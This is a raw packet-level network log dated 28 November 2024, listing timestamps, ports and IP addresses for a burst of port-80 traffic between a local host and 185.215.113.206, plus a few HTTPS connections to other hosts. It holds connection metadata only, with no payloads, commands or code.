Nov 28, 2024 15:17:44.993268967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.993319988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.993330956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.994146109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.994182110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.994194031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.994270086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.995043993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.995213032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.995270014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.995965004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.996009111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.996221066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.996293068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.996906042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.996963024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.996995926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.997133017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.997807980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.997910023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:44.997937918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:44.997956991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.040968895 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.123975039 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.124001980 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.127211094 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.127230883 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.152321100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.152374983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.152537107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.152574062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.152699947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.152738094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.152904034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.152944088 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.153825045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.153867006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.153873920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.153893948 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.153935909 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.154540062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.154593945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.154711008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.154745102 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.155343056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.155391932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.155515909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.155653000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.156723976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.156735897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.156816006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.157409906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.157454014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.157506943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.157542944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.158437967 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.158471107 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.158483982 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.159589052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.159640074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.159650087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.159662008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.159699917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.159776926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.159821033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.160135031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.160146952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.160192966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.160778999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.160825968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.161554098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.161608934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.161813021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.161865950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.162043095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.162117958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.162590981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.162700891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.163033009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.163089991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.163521051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.163567066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.163660049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.163827896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.164470911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.164515972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.164797068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.164963961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.165326118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.165379047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.165740013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.165786028 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.166265011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.166326046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.166743040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.166798115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.167288065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.167330980 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.167515039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.167558908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.168139935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.168179989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.168270111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.168327093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.169009924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.169050932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.169636011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.169684887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.169914007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.169955015 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.170449018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.170572996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.170813084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.170980930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.171403885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.171448946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.171838045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.171878099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.172776937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.172787905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.172823906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.172859907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.172970057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.173012972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.173584938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.173625946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.173671007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.173708916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.174510002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.174562931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.175035954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.175081968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.175446987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.175513983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.175767899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.175812006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.176358938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.176399946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.177006960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.177052975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.177301884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.177313089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.177349091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.178253889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.178397894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.178406954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.178447008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.179160118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.179176092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.179219007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.180135965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.180147886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.180182934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.180197001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.180896997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.180972099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.181016922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.181056976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.181847095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.181893110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.182776928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.182789087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.182802916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.182837009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.182856083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.183695078 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.183748960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.184262991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.184317112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.184680939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.184693098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.184726000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.185530901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.185583115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.185626984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.185678959 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.186440945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.186496019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.186899900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.187004089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.187387943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.187448025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.188030958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.188086033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.188244104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.188263893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.188292980 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.188306093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.189161062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.189213037 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.189646959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.189693928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.190099001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.190145969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.190349102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.190404892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.191178083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.191292048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.191569090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.191627026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.191919088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.191936970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.191961050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.191978931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.192830086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.192924976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.192945004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.192959070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.194061995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.194111109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.194154024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.194204092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.194729090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.194740057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.194777012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.195688009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.195739985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.195813894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.195853949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.196508884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.196552992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.196691990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.196777105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.197518110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.197529078 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.197582006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.198354006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.198420048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.199404955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.199414968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.199425936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.199459076 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.199481964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.200122118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.200223923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.242211103 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.245127916 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:45.291332960 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:45.335768938 CET	443	49867	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.336021900 CET	49867	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:45.336061954 CET	443	49867	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.336447954 CET	443	49867	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.336913109 CET	49867	443	192.168.2.6	23.209.72.35
Nov 28, 2024 15:17:45.336987019 CET	443	49867	23.209.72.35	192.168.2.6
Nov 28, 2024 15:17:45.353372097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.353482008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.353534937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.353612900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.353789091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.353841066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.353873014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.354095936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.354685068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.354729891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.354823112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.354882956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.355592966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.355643034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.355901957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.355967045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.355986118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.356029987 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.356825113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.356873035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.357253075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.357475042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.357741117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.357779026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.358644009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.358655930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.358690023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.358701944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.358716011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.358752012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.359606028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.359620094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.359659910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.359689951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.360495090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.360532999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.361417055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.361428022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.361449957 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.361465931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.361588001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.361634016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.362313032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.362622023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.362706900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.363205910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.363250971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.363550901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.363594055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.364140987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.364187956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.364250898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.364289045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.365057945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.365108013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.365684032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.365766048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.365993977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.366100073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.366467953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.366525888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.366951942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.367214918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.367238045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.367249966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.367815018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.368084908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.368132114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.368705988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.368828058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.368872881 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.369667053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.370017052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.370064974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.370553017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.371140957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.371190071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.371481895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.371854067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.371897936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.372371912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.372446060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.372997046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.373050928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.373317003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.373330116 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.373361111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.374228001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.374279976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.374500036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.374548912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.375144005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.375216961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.375286102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.375514984 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.376106977 CET	80	49804	185.215.113.206	192.168.2.6
